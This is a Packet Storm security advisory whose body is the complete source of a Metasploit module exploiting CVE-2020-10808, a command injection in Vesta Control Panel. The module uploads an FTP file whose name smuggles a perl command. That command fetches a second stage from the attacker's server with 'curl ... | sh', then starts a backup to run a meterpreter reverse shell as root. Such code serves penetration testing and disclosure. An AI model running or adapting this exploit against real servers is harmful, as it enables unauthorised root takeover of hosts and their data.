Vesta Control Panel Authenticated Remote Code Execution

2020-04-06T00:00:00
ID PACKETSTORM:157111
Type packetstorm
Reporter Mehmet Ince
Modified 2020-04-06T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",  
'Description' => %q{  
This module exploits command injection vulnerability in v-list-user-backups bash script file.  
Low privileged authenticated users can execute arbitrary commands under the context of the root user.  
  
An authenticated attacker with a low privileges can inject a payload in the file name starts with dot.  
During the user backup process, this file name will be evaluated by the v-user-backup bash scripts. As  
result of that backup process, when an attacker try to list existing backups injected payload will be  
executed.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],  
['CVE', '2020-10808']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPORT' => 8083,  
'WfsDelay' => 300,  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => false,  
'DisclosureDate' => "Mar 17 2020",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(8083),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])  
]  
)  
deregister_options('FTPUSER', 'FTPPASS')  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def login  
#  
# This is very simple login process. Nothing important.  
# We will be using cookie and csrf_token across the module so that we are global variable.  
#  
print_status('Retrieving cookie and csrf token values')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
})  
  
if res && res.code == 200 && !res.get_cookies.empty?  
@cookie = res.get_cookies  
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''  
if @csrf_token.empty?  
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')  
end  
else  
fail_with(Failure::Unknown, 'Something went wrong.')  
end  
print_good('Cookie and CSRF token values successfully retrieved')  
  
print_status('Authenticating to HTTP Service with given credentials')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
'cookie' => @cookie,  
'vars_post' => {  
'token' => @csrf_token,  
'user' => username,  
'password' => password  
}  
})  
  
if res && res.code == 302 && !res.get_cookies.empty?  
print_good('Successfully authenticated to the HTTP Service')  
@cookie = res.get_cookies  
else  
fail_with(Failure::Unknown, 'Credentials are not valid.')  
end  
end  
  
def is_scheduled_backup_running  
res = trigger_scheduled_backup  
#  
# MORE explaination.  
#  
if res && res.code == 302  
res = trigger_payload  
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')  
return true  
else  
print_good('It seems scheduled backup is done ..! Triggerring payload <3')  
return false  
end  
else  
fail_with(Failure::Unknown, 'Something went wrong. Did you get your session ?')  
end  
return false  
end  
  
def trigger_payload  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),  
})  
if res && res.code == 200  
res  
else  
fail_with(Failure::Unknown, 'Something went wrong. Maybe session timed out ?')  
end  
end  
  
def trigger_scheduled_backup  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),  
})  
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//  
res  
else  
fail_with(Failure::Unknown, 'Something went wrong.')  
end  
end  
  
def payload_implant  
#  
# Our payload will be placed as a file name on FTP service.  
# Payload lenght can't be more then 255 and SPACE can't be used because of the  
# bug in the backend software. Due to these limitations, I used web delivery method.  
#  
# When the initial payload executed. It will execute very short perl command, which is going to fetch  
# actual python meterpreter first stager and execute it.  
#  
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first  
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"  
  
# Yet another datastore variable overriding.  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
port_restore = datastore['RPORT']  
datastore['RPORT'] = 21  
datastore['FTPUSER'] = username  
datastore['FTPPASS'] = password  
  
#  
# Connecting to the FTP service with same creds as web ui.  
# Implanting the very first stage of payload as a empty file.  
#  
if (not connect_login)  
fail_with(Failure::Unknown, 'Unable to authenticate to FTP service')  
end  
print_good('Successfully authenticated to the FTP service')  
  
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")  
if res.nil?  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")  
end  
print_good('Successfully uploaded the payload as a file name')  
disconnect  
  
# Revert datastore variables.  
datastore['RPORT'] = port_restore  
datastore['SSL'] = true if ssl_restore  
end  
  
def exploit  
start_http_server  
payload_implant  
login  
trigger_scheduled_backup  
print_good('Scheduled backup has ben started. Exploitation may take up to 5 minutes.')  
while is_scheduled_backup_running == true  
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')  
Rex.sleep(30)  
end  
stop_service  
end  
  
def on_request_uri(cli, request)  
print_good('First stage is executed ! Sending 2nd stage of the payload')  
second_stage = "python -c \"#{payload.encoded}\""  
send_response(cli, second_stage, {'Content-Type'=>'text/html'})  
end  
  
def start_http_server  
#  
# HttpClient and HttpServer use same SSL variable :(  
# We don't need a SSL for payload delivery.  
#  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
print_status("Second payload download URI is #{get_uri}")  
# We need that global variable since get_uri keep using SSL from datastore  
# We have to get the URI before restoring the SSL.  
@second_stage_url = get_uri  
datastore['SSL'] = true if ssl_restore  
end  
end  
`